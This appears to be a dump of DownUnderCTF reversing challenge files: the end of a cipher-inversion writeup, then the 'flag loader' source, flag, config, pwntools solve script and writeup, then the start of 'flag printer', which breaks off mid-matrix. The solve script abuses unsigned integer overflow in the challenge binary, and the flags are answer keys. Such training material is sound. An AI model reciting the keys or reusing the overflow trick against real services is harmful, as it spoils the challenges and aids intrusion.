\begin{aligned} \alpha b &= \alpha (b_0 + b_1 \alpha + \cdots + b_7 \alpha^7) \\ &= b_0 \alpha + b_1 \alpha^2 + \cdots + b_7 \alpha^8 \\ &= b_0 \alpha + b_1 \alpha^2 + \cdots + b_7 (\alpha^4 + \alpha^3 + \alpha + 1) \\ &= b_7 + (b_0 + b_7) \alpha + b_1 \alpha^2 + (b_2 + b_7) \alpha^3 + (b_3 + b_7) \alpha^4 + b_4 \alpha^5 + b_5 \alpha^6 + b_6 \alpha^7 \end{aligned} $$ Comparing this with the implementation of `m`: ```C byte m(byte b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } ``` (noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\alpha$, and $b_1$ with $\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \alpha, \alpha^3$ and $\alpha^4$. Furthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$. The decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers: ```C void mix_column(unsigned char* input, int idxs[]) { unsigned char b0, b1, b2, b3, b4, b5; unsigned char d0, d1, d2, d3, d4, d5; b0 = input[idxs[0]]; b1 = input[idxs[1]]; b2 = input[idxs[2]]; b3 = input[idxs[3]]; b4 = input[idxs[4]]; b5 = input[idxs[5]]; d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4)); d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5)); d2 = m2(b0) ^ b4; d3 = m2(b1) ^ b5; d4 = b0 ^ m2(b0) ^ m2(b2); d5 = b1 ^ m2(b1) ^ m2(b3); input[idxs[0]] = d0; input[idxs[1]] = d1; input[idxs[2]] = d2; input[idxs[3]] = d3; input[idxs[4]] = d4; input[idxs[5]] = d5; } ``` The $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have: $$ \begin{aligned} d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\ d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\ d_2 &= 2 b_0 + b_4 \\ d_4 &= 2 b_1 + b_5 \\ d_5 &= 3 b_0 + 2 b_2 \\ d_6 &= 3 b_1 + 2 b_3 \end{aligned} $$ Recall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that: $$ \begin{bmatrix} d_0 \\ d_1 \\ d _2 \\ d_3 \\ d_4 \\ d_5 \end{bmatrix} = \begin{bmatrix} 3 & 0 & 3 & 0 & 2 & 0 \\ 0 & 3 & 0 & 3 & 0 & 2 \\ 2 & 0 & 0 & 0 & 1 & 0 \\ 0 & 2 & 0 & 0 & 0 & 1 \\ 3 & 0 & 2 & 0 & 0 & 0 \\ 0 & 3 & 0 & 2 & 0 & 0 \\ \end{bmatrix} \begin{bmatrix} b_0 \\ b_1 \\ b _2 \\ b_3 \\ b_4 \\ b_5 \end{bmatrix} $$ So to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix: $$ \begin{bmatrix} b_0 \\ b_1 \\ b_2 \\ b_3 \\ b_4 \\ b_5 \end{bmatrix} = \begin{bmatrix} 3 & 0 & 3 & 0 & 2 & 0 \\ 0 & 3 & 0 & 3 & 0 & 2 \\ 2 & 0 & 0 & 0 & 1 & 0 \\ 0 & 2 & 0 & 0 & 0 & 1 \\ 3 & 0 & 2 & 0 & 0 & 0 \\ 0 & 3 & 0 & 2 & 0 & 0 \\ \end{bmatrix}^{-1} \begin{bmatrix} d_0 \\ d_1 \\ d_2 \\ d_3 \\ d_4 \\ d_5 \end{bmatrix} $$ The last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this: ![mix-grouping.png](./assets/mix-grouping.png) ## Inverting the Output To recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :) ================================================ FILE: rev/flag-loader/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/flag_loader /home/ctf/chal/pwn ================================================ FILE: rev/flag-loader/README.md ================================================ # flag loader **Category:** reversing **Difficulty:** easy **Author:** joseph#8210 What more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours! ` ` **Attached files:** - ./challenge/flag_loader (sha256: de8f47b8ad8b8efac5c41575757906f4c211282eccadc693a6a595ac784a7593) ================================================ FILE: rev/flag-loader/challenge/flag.txt ================================================ DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!} ================================================ FILE: rev/flag-loader/challenge/flag_loader.c ================================================ #include #include #include #include #include void sig_handler() { puts("I don't have all day... No flag for you :("); exit(-1); } void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, sig_handler); alarm(60); srand(time(NULL) * getpid()); } void die() { puts("You failed the check! No flag for you :("); exit(-1); } unsigned char X[5] = { 0x44, 0x55, 0x43, 0x54, 0x46 }; unsigned int check1() { char s[6]; unsigned char t1 = 0; unsigned char t2 = 1; printf("Give me five letters: "); read(0, s, 5); for(int i = 0; i < 5; i++) { t1 += X[i] ^ s[i]; t2 *= s[i] * (i+1); } if(t1 != 0 || t2 == 0) { die(); } return t2; } unsigned int check2() { unsigned int x, y; int r = rand() & 0xffff; printf("Solve this: x + y = %d\n", r); scanf("%u %u", &x, &y); if(x == 0 || y == 0 || x <= r || y <= r) { die(); } if(x + y != r || ((x*y) & 0xffff) < 60) { die(); } return (x*y) & 0xffff; } unsigned int check3() { unsigned int x1, x2, x3, x4, x5; int r = rand() & 0xffff; printf("Now solve this: x1 + x2 + x3 + x4 + x5 = %d\n", r); scanf("%u %u %u %u %u", &x1, &x2, &x3, &x4, &x5); if(x1 == 0 || x2 == 0 || x3 == 0 || x4 == 0 || x5 == 0) { die(); } if(!(x1 < x2) || !(x2 < x3) || !(x3 < x4) || !(x4 < x5)) { die(); } if(x1 + x2 + x3 + x4 + x5 != r || (((x3 - x2)*(x5 - x4)) & 0xffff) < 60) { die(); } return ((x3 - x2)*(x5 - x4)) & 0xffff; } int main() { init(); unsigned int x1, x2, x3; x1 = check1(); x2 = check2(); x3 = check3(); puts("You've passed all the checks! Please be patient as the flag loads."); puts("Loading flag... (this may or may not take a while)"); sleep(x1 * x2 * x3); FILE* fp = fopen("flag.txt", "r"); char flag[255]; fgets(flag, 255, fp); printf("%s", flag); return 0; } ================================================ FILE: rev/flag-loader/challenge.yml ================================================ version: "0.1" id: flag-loader name: flag loader category: reversing description: > What more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours! Author: joseph#8210 connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/flag_loader flags: - DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!} ================================================ FILE: rev/flag-loader/solve/solve.py ================================================ from pwn import * from parse import parse conn = remote('0.0.0.0', 1337) # check 1 X = b'DUCTF' S = b'\x02\x01\x01\x01\x89' z1 = sum(s*(i+1) for i, s in enumerate(S)) % 256 assert sum([x^s for x, s in zip(X ,S)]) % 256 == 0 assert z1 % 2**3 == 0 conn.sendlineafter(': ', S) # check 2 r1 = parse('Solve this: x + y = {:d}\n', conn.recvline().decode())[0] for v in range(16): if r1 % 2**(v+1) != 0: break k = 15 - v x = r1 + 2**k y = 2**32 - 2**k z2 = (x*y) & 0xffff assert z2 == 2**15 conn.sendline(f'{x} {y}') # check 3 r2 = parse('Now solve this: x1 + x2 + x3 + x4 + x5 = {:d}\n', conn.recvline().decode())[0] x1 = 2 - (r2 & 1) x2 = 3 x3 = 2**7 + x2 x4 = (r2 - x1 - 2*x2 - 2**7 - 2**8)//2 x5 = 2**8 + x4 z3 = (x3 - x2)*(x5 - x4) % 2**16 assert x1 + x2 + x3 + x4 + x5 == r2 assert z3 % 2**14 == 0 conn.sendline(f'{x1} {x2} {x3} {x4} {x5}') assert z1*z2*z3 % 2**32 == 0 print(conn.recvline().decode()) print(conn.recvline().decode()) print(conn.recvline().decode()) ================================================ FILE: rev/flag-loader/solve/writeup.md ================================================ # Challenge Overview Ghidra decompilation of the binary is very easy to read. We see that there are three "checks" that each return a value. Once all three checks are passed, their outputs `x1`, `x2` and `x3` are used to call `sleep(x1 * x2 * x3)`. There is a timeout of 60 seconds, so task is to pass all three checks while also making sure this sleep call does not take longer than 60 seconds. The return values of each check are all `unsigned int`s. ## Check 1 In this check, we are prompted for five characters of input. A variable `t1` is computed as the sum of `X[i] ^ input[i]` (for `i = 0, ..., 4`) where `X` is a hardcoded byte string in the binary (`X = b'DUCTF'`). Another variable `t2` is computed as the product `input[i] * (i+1)` (for `i = 0, ..., 4`). To pass the check, we need `t1` to be zero, and `t2` to be nonzero. The returned value is `t2`. ## Check 2 In this check, we are prompted to solve a simple equation. Given a number `r`, we are asked to provide `x` and `y` such that `x + y == r`. To pass the check, neither `x` nor `y` can be less than `r`. We also need `x + y` to actually equal `r` and `x*y & 0xffff` must be greater than `60`. The returned value is `x*y & 0xffff`. ## Check 3 In this check, we are prompted to solve another kind of equation. Given a number `r`, we are asked to provide `x1, x2, x3, x4, x5` such that `x1 + x2 + x3 + x4 + x5 == r`. To pass the check, none of the inputs can be `0` and they must be strictly increasing (i.e. `x1 < x2 < x3 < x4 < x5`). Additionally, `(x3 - x2)*(x5 - x4) & 0xffff` must be greater than `60`. The returned value is `(x3 - x2)*(x5 - x4) & 0xffff`. ## Loading the Flag If we manage to pass all the checks, the outputs of each check (`x1`, `x2`, `x3`) are combined and `sleep(x1 * x2 * x3)` is called. Because there is a timeout of 60 seconds, it is impossible to get the flag if `x1 * x2 * x3 > 60`. # Solution At first the challenge may seem impossible since the return values of each checks can never be zero, and for checks 2 and 3, they are guaranteed to be larger than 60. Fortunately, we have quite a lot of freedom on our inputs. Checking the `man` page for `sleep` we see that the argument is an `unsigned int` which takes on values between `0` and `2^32`. If we can choose our inputs such that the product of the return values of all the check functions are very slightly above a multiple of `2^32` (or even better, a multiple of `2^32`), then we will be able to get past the annoying `sleep`. So the goal for now is to get the outputs to have as many factors of `2` as possible. We will see in detail how to do this for each check. ## Check 1 For this check, sending anything that will pass the `t1 == 0` check will be useful, because the way that `t2` is calculated means that it will always have a factor of `2^3` at least. A valid input is `\x02\x01\x01\x01\x89`. ## Check 2 For this check, we need to find "good" `x` and `y` such that `x + y == r` and also `(x * y) & 0xffff` has many factors of `2`. Recall that unsigned integers are in the range `[0, 2^32)`, and anything that goes above "overflows" back to `0` (i.e. `2^32` becomes `0`, and `2^32 + 1` becomes `1`). Since our inputs need to both be more than `r`, abusing this overflow is the only way we can make their sum be equal to `r`. If `r = 31482` for example, a good choice for `x` and `y` would be `x = r + 2^14` and `y = 2^32 - 2^14`. Then, `x + y = (r + 2^14) + (2^32 - 2^14) = r + 2^32 = r`, so it passes the initial check. Furthermore, `x * y = (r + 2^14) * (2^32 - 2^14) = 2^32 * r - 2^14 * r + 2^46 - 2^28` when the `& 0xffff` operation is performed, we are left with `2**15` which is perfect. ## Check 3 For this last check, we need the return value to have at least a factor of `2**14`. The values we send are: ``` x1 = 2 (or 1, depending on the parity of r) x2 = 3 x3 = 2^7 + x2 x4 = (r - x1 - 2 * x2 - 2^7 - 2^8) / 2 x5 = 2^8 + x4 ``` This passes the initial check because ``` x1 + x2 + x3 + x4 + x5 = x1 + 2^7 + 2 * x2 + 2^8 + (r - x1 - 2 * x2 - 2^7 - 2^8) = r ``` Furthermore, the return value `(x3 - x2) * (x5 - x4) & 0xffff` is ``` (x3 - x2) * (x5 - x4) = 2^7 * 2^8 = 2^15 ``` ## Loading the Flag From the first check, we should have gotten an output `x1` that is divisible by `2^3`. From the second check, we should have gotten an output `x2` that is divisible by `2^15`. And from the last check, we should have gotten an output `x3` that is divisible by `2^14`. Their product is therefore divisible by `2^32`, so when interpreted as an unsigned integer, it will be `0`. The `sleep` call is effectively bypassed, and we can load the flag :) ================================================ FILE: rev/flag-printer/README.md ================================================ # flag printer **Category:** reversing **Difficulty:** medium **Author:** joseph#8210 What more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours! **Attached files:** - ./challenge/flag_printer (sha256: a9dd2b365f98d00730746de642f211a52f5eaf62cefb5ad85bf87244a7436e9b) ================================================ FILE: rev/flag-printer/challenge/flag.txt ================================================ DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92} ================================================ FILE: rev/flag-printer/challenge/flag_printer.go ================================================ package main import ( "fmt" "math/big" ) var X = [50][50]uint64{} var M = [50][50]uint64 { {12360658,3164667810,3174250802,697033209,139528530,358879236,1884536693,3056019465,1556957267,945325257,1500272620,1530963857,2626169693,894010163,131212255,393515820,1219562872,1281025178,1526954291,1047608923,2142827700,1309305937,2181030782,993149128,1488085348,3130343774,3398667168,2779185288,2765206427,2035886271,1050418536,2915626148,1843999063,1748919300,3662515079,343226658,727322753,1793737512,1068459295,2622148333,1526033248,3522082343,2238595599,1678141960,1960397115,385985387,2247888313,2839888888,678409675,844484049}, {1615620522,3324682526,1175112514,1251963849,922430708,3019203936,2138787202,939098216,1519524469,458044099,3537536201,1944245222,2321156481,1226040027,1279977241,2485884935,600012824,320678650,3529942739,544543837,3227953479,1273240513,34838828,3446788539,51072229,2835273865,2901443521,498069525,428143639,3639364742,904407740,714805677,3048945940,2176334651,1257919498,1250540774,1881583702,2047332825,3186814525,2325478587,2147844010,1287554373,791343228,2047487046,631292183,1740700926,691573975,3122341119,948587534,3667912295}, {3324351707,1965035735,848867791,3420112111,2439269107,2748626149,191723182,2300350902,1968817814,1628712619,2559012454,3360209780,3067396087,3331417429,1438539249,1550766183,129779530,226222335,2397461635,3419944237,2776460726,1742919674,1471796857,1018964758,2004146078,1517615,3158857147,1539372481,455093765,2290598016,2642063636,3223639649,2872665416,3282341302,1313014713,2708074906,3590277064,2402476061,1156968847,661897523,152583345,3148536395,3090713670,2745241183,3684982628,168554864,3131122411,59908344,3659254732,1939869525}, {2956322407,2682223193,2145703839,25183203,327083697,2084867616,1335920746,141336936,2746237983,2180894077,3318564631,2723609797,229535580,2322232146,3336910408,3159404088,257783298,3399683029,2704374917,781442655,1823542448,3669040241,1488653952,2403214670,1733331136,3039557393,3037512813,3368772977,1019742125,1574170358,2008273841,739464997,3418974601,2253269468,255376157,707817896,2661985244,1726878148,1831080972,1412734125,219278444,1249859505,960119440,2371885449,2990563293,3026024974,1612966825,669538040,1089362232,3687600328}, {1331037934,521067828,2702455296,2840624779,3508480078,3540232486,2371228576,1546395817,3064471032,1662218802,103934047,3456756812,393439166,2896274618,1467728979,3242979310,1179915363,215637193,2508338087,2427509669,2829954671,3306385585,1724997573,2786840004,2335633786,3426149502,2441843095,2777768181,3037214112,3244123105,2512341386,3440817431,1500058524,3486353375,794726090,3053533034,199768845,2455030068,1842016831,1728938928,1904966472,819547070,515931794,365594635,1524944948,1062101818,2646969235,3618312758,218187561,3664679984}, {183092490,90118331,3084000559,3280662539,750636853,2929906440,3342735256,715374696,2286314746,175408665,597902294,2347629646,2568852438,2198391602,2777234479,904301206,2772823889,1710269006,3395472457,2779014019,3107473326,2525758515,484902152,3712338837,3272169022,1433152399,1621149346,1141522396,544218147,3609629219,844025120,1854986668,2721088206,2202102084,1286186503,588113924,354423348,3502346626,3679497051,3107921455,1743345420,2889415762,3347606232,1030596301,3248742797,665752796,58380748,3131946549,2696584967,2107052619}, {2898185687,1705484801,1972671819,1600431853,3058746775,2645089103,1433124942,893378285,360554998,1655954565,3202903021,2029117986,1069419124,156975313,2159969464,2992327767,495718964,3215331356,3378830789,1750283094,757799731,3212600852,1744416118,2897342065,958222710,2125129684,120957069,2387268576,745852888,585462512,2061973462,753264371,132390356,1238778017,3637946954,196959958,1735247331,1977074706,3383249010,1087566953,3597806093,1225005441,3105258785,600948041,944948519,1657286187,2057185501,2572171858,3705516558,1907312396}, {1274962641,852481909,3640693291,3077694424,3632544564,3175799930,3431830581,1924344903,1815122172,1369349069,3633231048,292086541,3581261969,1743690489,1846138567,3177093398,876493618,318013533,1761606825,354850497,3585734770,383520317,3013864051,1634768282,2403053040,2542465478,1635990356,2726488558,2192588223,481863928,1306613510,1554409012,1185976111,3403144559,1379161083,1447604996,2316818873,1285125790,814457073,1374904803,1895133783,784051094,1408299663,3006704274,1940349714,938402245,856583102,3041121874,1481337216,1537929079}, {770540112,1309162334,1840967639,507553407,3297660501,2600493869,2888603720,1520510696,2608775370,1310928545,2525916692,3338828200,250980840,3600453368,709023189,451278278,2950232014,1822254149,1317898250,2089556943,1222039910,1762230515,3383286044,174068526,2432594394,3576311382,881179979,1503823199,2968938040,1130306514,1967563470,2475941588,1463095682,1784121660,3073661297,3675299255,750432719,551924414,3583155570,129534826,3132723773,156945304,2130396642,1389571378,58505703,298743161,1928448822,2538234897,1467313231,2425008606}, {3058107316,2020353736,206595472,1735812044,1875018076,2718116420,1494050135,413822610,2440692451,1703619374,1893980174,1332325686,2481167844,2020685460,3113382519,1107038029,3423754753,1760252656,675530399,1788643945,2405955391,3601393591,98335819,1797054689,510363616,132175905,1989619372,2054750116,765443703,50754731,13995875,500618183,3513335538,928119048,740769345,1290055784,1828754797,1035750035,1167895279,3676562081,2736550112,2915099913,2287625120,3226977019,537432614,567456255,3448580218,3724777304,2149069368,3599987539}, {3679258364,2091449116,2294295916,238242520,976034646,3030033323,1176270819,800116104,2149671627,3039582509,3649977576,1075379,3562202907,1825116015,3462484475,2120175262,2640391258,1668360134,313339901,1482724766,1831908323,966549135,131150491,3478976157,1956331924,1507698878,2847576260,640379944,489545362,2747564970,1552219309,2544152963,1329147195,176045122,978788734,2690374436,1925424163,528425356,134711637,2033968989,1619728652,3207207301,3492529134,2215440863,908307054,457998890,1848001189,1475865431,1079003089,2624027541}, {2320927571,805533778,3073845128,1415228808,1448458821,2596780268,3509598942,1199988025,3549382092,2946063491,2322301913,2487079491,580036955,2750595934,2091982036,3567529142,3430043867,2070995001,257742843,3550271035,2215241123,2790639060,2362925648,2690611037,714110115,1304981132,3063246343,1106429515,417205886,2576049566,239065021,1238645325,2867191522,1343499821,3068497337,3030639587,2884821068,1588110524,1170719047,1939396801,1452674163,1106537205,2390004761,3063520479,2927322038,1211220383,1526958227,3259904932,3144905103,3125110437}, {2883746202,15592572,1626093556,2225578698,3352772574,3349724322,357475023,1760278034,1453471563,2982758125,3359182247,871813456,2605244379,91301587,123763403,2379319870,3189395375,150589464,1808844187,167845379,1230062572,2384145845,3692658529,3160325951,2004521156,3058569313,296690801,2507268409,3280542830,670928650,3508189714,1532209421,3628888196,1241707958,828900632,95090839,1123661051,3573580833,3129683369,2276532867,3627796097,1568923668,2645774890,2116542594,3077331564,417047787,264485572,2090379641,705537189,2192543375}, {1064221306,757380202,2795203024,1865313499,2861026118,1156649330,1480650516,20306387,1798715563,1801184636,3216179331,2189502325,2117630487,2301170783,3368483629,1792827573,3099367829,2569816374,1586960447,956014192,3155208159,2455360859,3062632673,1855260742,2934058383,1712040747,2111725300,3365258140,3436398096,1335364933,2236776048,82008645,1168397160,2802476016,3266172852,3146323231,51404319,3455018028,2753951460,2141497437,1578060909,3049929584,3408382791,2058203036,303253091,2314935223,1252548743,801565338,211048797,2389426899}, {405358413,3363180635,289935908,534721983,2841901497,3743713201,474231246,577878823,1395809008,3234334462,2398589016,3664154008,1776735806,844138072,2883857414,31304575,2548935900,3617158030,588313457,3609427504,3692279253,3024638522,1148371802,1386603353,2256358440,2143715972,2301281379,508935043,1263779501,2104458554,2941146856,2867356220,3600159855,735538369,103354885,657970498,3093168305,1959211166,688937207,1678404713,3328628383,183772892,3378789971,3371509846,1178517050,3397590651,3373323031,3435069056,263829526,3097223023}, {1881390997,98125064,1353926662,635608027,1947802850,3149832439,1156515425,3362665943,969829907,3431295765,2999889554,2757789327,73644112,555403443,930619613,1337986232,150293444,2884122875,394605393,3452522657,3705185472,3090008631,3619501771,3531472620,2737225125,3656419357,693455034,308444152,2983704268,1478095570,2307465685,3120503775,1433682343,1801206035,437654799,1028953324,920973193,1791364762,2027890667,1422910278,537782854,2601778365,2316590081,1863527498,373984929,1989287622,363738263,1844593673,859592315,3724993654}, {3578774169,3664975502,313321623,1429116584,1027949869,1681806439,2651276667,1441275709,534377000,3715817781,1061650297,477845165,879900790,389364867,2852587678,1971084959,2021744840,1535721401,2580485399,79839176,2917667990,3527271324,1267160739,1289889403,385059230,1179349640,2272834615,179627697,212828602,629431466,2190557622,94817532,572930584,915066740,3438394179,2851123481,2105644132,217131420,953820339,2671673845,3432242421,3650981880,437159108,3721791876,3094346719,3106850618,1244503699,2774114818,3435205471,2365198996}, {232611885,1963591182,53903864,2848670270,1899411123,2066134171,2920424936,664287993,916082853,2843339774,187003447,2921989157,1373480576,2339946854,3047361324,661847767,1425915985,138968534,2027860254,3183419300,2245590901,2182800302,951164216,3415196315,2805665465,831235193,2171124159,3492939593,3236548433,2666840812,3211733850,371638472,3726244471,454221344,3565539039,1030876789,1165423804,263476671,3119811660,2469065385,2083746035,640988500,2283731900,416842312,2766794734,3521857304,535263182,936385229,510081529,143243643}, {1864491799,1169690285,3431326237,3432087948,2243605552,2608973485,643456284,866578604,1708463279,1907291459,343097496,2022414848,2895991756,1178535156,3275349644,1030126876,1133935721,1758735257,3362767382,1465908249,2263603288,3558880499,1570917564,2902439855,1507805014,937673896,2246951417,1441736387,217169770,2384343494,362013264,940497492,2148262087,1545510551,1035900672,2776512283,2627074054,2950156054,3494885863,1263230272,3686165884,269366205,1615064116,1408274042,1091824547,3498065593,2308351703,1070433531,827119749,121906243}, {1669765000,723165608,2021074535,2158782750,2137259120,2951534343,1458686674,464193153,1735808708,2301940622,2515751234,2737402101,458593073,1122630444,3308830,311542189,2306311408,854387116,3398201046,1593185463,2899226452,2074508456,1801089738,2467610046,2636058344,743228219,990083359,1074583380,3239008405,450688438,482027626,2803746358,1297113860,2481852092,1246596859,2374609442,277114456,3658062737,2326627589,2424421979,3459523914,1128836189,2908623689,2339588028,3230209462,1358125971,3455972804,2728138706,972416857,946571134}, {1087824872,2550048742,3419722719,3047108633,3212980240,751904208,1126684998,2942265987,32688543,2946139364,488435312,2910830195,1222544092,2409766987,2928160273,570176743,1992099069,429227946,544675191,555361835,468054905,3102912812,3536516099,1502720075,1856805986,1947333043,3169768876,247940275,2734497456,3495315879,96692387,2638454198,2086323969,17869543,2353626337,3182305392,795116850,848052656,2244484590,3742616359,1610228960,3493616155,2736827896,902841591,63475423,2229871821,422601904,1334897280,822188871,1317301077}, {1102235129,3009517125,996139468,1688059813,2542660864,2406524287,2792078030,2583635628,3546690644,2228188667,3199264548,736914605,33484953,1880874005,1083977412,2440120231,2106482004,227484810,2979832768,3030993908,3666713374,1372360804,1474571174,2769291555,2986739391,1122381412,1765120389,1249433851,2891331075,1291435792,2957109121,3490748657,3755259204,2157892002,2500985114,728715305,1454299100,1906062793,3110341103,93770138,3638788033,53491098,2174166306,2693214268,623348726,3510863941,2925200610,1559424235,2758585887,3367488646}, {1958998047,1542170072,1658692691,3598899219,841511768,1599621306,952980325,116138378,1500765554,3452607660,1919954488,2803395353,3738309029,239407124,3282823247,3567284642,891375715,257293800,865952733,2069566506,3095022872,3488410996,2145594922,3702787308,2506638805,2633835952,2477024379,3264122063,731016146,2411272902,2478403434,2146418739,2752786582,2248943930,1936712662,2000971496,3373205659,1595681204,2684152898,2888921321,375125967,3323103683,3715314583,3655619588,3555015328,132789848,3332469825,1991178442,392148832,1083530118}, {21240011,2573123981,1687759871,404425082,794105057,818447079,1502137969,3659649147,364556272,561800583,3009571923,1630307172,600546745,1755491112,1153679068,1363083983,2830478799,1227514949,1746191160,2876061425,2394885329,1896869105,1472453879,2348915643,863069963,2798258063,123081072,2143764970,3731442183,1590802048,3757275158,1431240946,2358979498,1977858223,1152732928,290752542,1860546015,3560122626,1389631437,2114250735,3464962565,3232536325,3504015440,3242244225,2953330037,2833915364,3364517700,1174209509,3075252822,2288370814}, {1126987496,1501527409,527459918,2050735308,3567324855,1922854073,479130665,3044395568,1819360136,612935465,2240942186,358401619,2806068464,1676379970,539180263,519730550,1112754544,542762466,2746951808,802709148,587118474,3684731285,853580533,2729422057,2770868150,2899835532,3257562753,3722125303,1850828331,1058649344,1938526751,2549969988,351894394,3517747925,1702775032,1152303529,2949638439,3434675932,2121537439,704396458,1435093351,213081152,839951525,3471412800,459768430,387656569,2801432213,2431281293,1680541803,2866513375}, {3112522962,439086695,2535467054,2660671835,2478449215,3282125155,2585346927,2336596234,2116668509,2724243349,495705686,2621099988,2627631933,3562063823,856051797,3069457544,2571597699,3613269266,3583124730,3518710424,931520100,2656893610,3681627959,805354225,2620233429,3576335206,79442516,621935138,2540045245,2483443981,762854768,3344844500,2298090600,1228941055,1431350169,1487358861,2296775532,65949078,2090066618,501740402,901282516,2488824224,2242410811,1951195301,1963616621,1853605757,2767090975,3555595265,342589767,2151795857}, {137213056,3479178812,1608296225,2497941287,1748237497,2996378958,2485856238,2419230818,1507487499,1195472593,2829177251,89419099,2231491783,502331004,1200848595,1169779430,2320103790,285691431,3620341437,1676495143,972723270,2576226192,767559362,2089112784,2899729841,666217620,2730448692,328797639,1758823896,2628511958,3320033104,3313353387,2431583923,3081244697,1333317798,163663994,2072318481,575088782,2664698781,2116505793,2483729145,869306761,769484312,1899647160,3626757813,3758019561,1153942916,3763911796,937625915,1383582632}, {3077763635,1603638498,3424158482,1275246255,2846971403,2107618919,1267881752,1834495385,3297738950,1976996023,3112839373,716852945,2873266280,1113270859,636237109,3408443557,744501535,2086962042,967472613,640340045,2875593531,1864392208,3059850086,1856214814,1492029424,1054010375,2586832925,2541488130,2159770840,640290292,3742011420,280400788,2616931214,2316185182,190402256,735766139,3317462778,3372638941,3532387449,417229473,3600701718,320173781,294316741,1626761718,1210100594,1063835895,1947479122,2016434810,2450679049,672657509}, {3339735991,897340317,700120660,1090417302,3638986910,2565686077,1397340225,1105527144,3460199106,1968225801,987459255,2734891212,869569302,1829209499,2695302749,2217520154,3591093729,3277277908,3424150028,2373735326,3718080898,1013838677,1093685214,1416852720,2474927637,3213452283,179096020,186891920,2498112820,266805105,3211675315,307721440,2465093951,2132298061,2446536040,909515810,3743041929,2595696707,2687820558,1419189619,328038585,3301980902,99157005,3371930049,642112138,2105818136,1611676138,1004951398,3246342825,2238608293}, {3082203896,779478986,800753067,2544654249,3707190355,2487555435,730062797,3021227716,1300688074,3136159046,3228538391,2580689217,520067187,1045722076,2233867586,500936470,3560457043,3402273837,1479723368,2960141438,1599395227,758856038,2734365357,294911123,1350793926,847922801,99795737,1937653598,2511682306,456231162,3498776369,1224304410,828744015,357670566,2181035533,2718266346,303279929,1981750379,3726068438,44747814,2328532001,909376571,1896003219,1614165657,298937470,2846402476,3302566154,1510950659,2611490369,2674839617}, {888348752,1133669212,903058757,1447229650,2885391991,3051072648,3689869649,2960443954,3296499892,1623027763,3192386725,8094240,689653355,1520983221,1079371066,2903127408,2031840850,807813256,2717547579,1430016808,2755628785,1094278458,2049718283,3678205057,1397483831,1418302080,2994148163,3170006951,3763220094,2008146061,693557878,343641562,3010021907,3291410507,2980661055,3464328358,980208432,1237219243,1212176911,21527645,1823543831,1505705027,2266894359,1193613773,1029224023,2072934097,821447656,122163626,3011494870,1709190740}, {572032492,1742799755,622203699,1990971048,2200813532,1093676354,129587458,3049544838,2335844598,681472390,2067430314,1762007063,1169616275,2796014119,2704049620,1579136606,2562849364,1096683462,2243466935,1197341357,2079849369,2618723520,2367169438,3725754585,79224923,2433517007,2109153124,633482690,277072853,2181449524,1486898750,1696114860,2941456459,1321855907,2222239940,1738813305,1412712857,363652619,1655126167,3474047499,1292298924,1286797646,721558813,1321744963,934572783,788410230,3462081957,735548365,3237552867,2014480302}, {2443581928,2629044494,2929877426,1417452299,3086997296,3339930328,1555318642,854995864,221113717,1759263767,1922225146,3081878165,138700058,782864536,617832684,328683920,371260424,322149596,1169017890,3011449339,2227246308,2782922050,1522834698,586083032,1951810981,2958238874,2223140161,3161147328,3615143086,2795822625,1952630473,2858177129,2836371839,2313481233,1731230889,3555349291,1707284829,3766363386,157561866,2016720182,706828007,1687976276,1412933115,1750590907,996184917,1823048833,2646746610,2267152345,2444414172,998630083}, {587333621,310156137,3355247080,1314075109,3032269560,1875318389,2765713631,858314541,189245532,2164478906,1996771117,3353067970,2454361405,1048564701,3011465869,1383313976,3227313964,7564695,3226481917,291020981,1435333153,681765524,1877672081,3186092455,2906658246,1503126783,1013478355,2009133067,2534496755,1153444832,2925607286,498598356,2142935273,1132282580,2502271947,3173760092,2467228754,1548718219,3273794428,1171220372,3008854867,1994794440,901364504,1251008544,2733172404,3511438686,895342334,432264184,770093820,2556392141}, {1918971970,2695447413,3476985700,3716778587,2573379155,3210347369,311739004,2245057409,3038939001,3152755557,227091997,1841761296,2381435181,1670743841,3467617157,150716533,351713561,3636902216,3034718917,3098515143,384914113,1738579990,2931076678,308643652,722245155,1010204191,146056504,3414466780,1138036909,1897640220,725602628,746179454,691238210,2141324715,2673021564,1801042693,224002150,3335136366,631261115,2764389477,3703565279,3662447940,900070714,1223810344,1545990843,1523176106,2205543619,2192658646,2784313461,2535960659}, 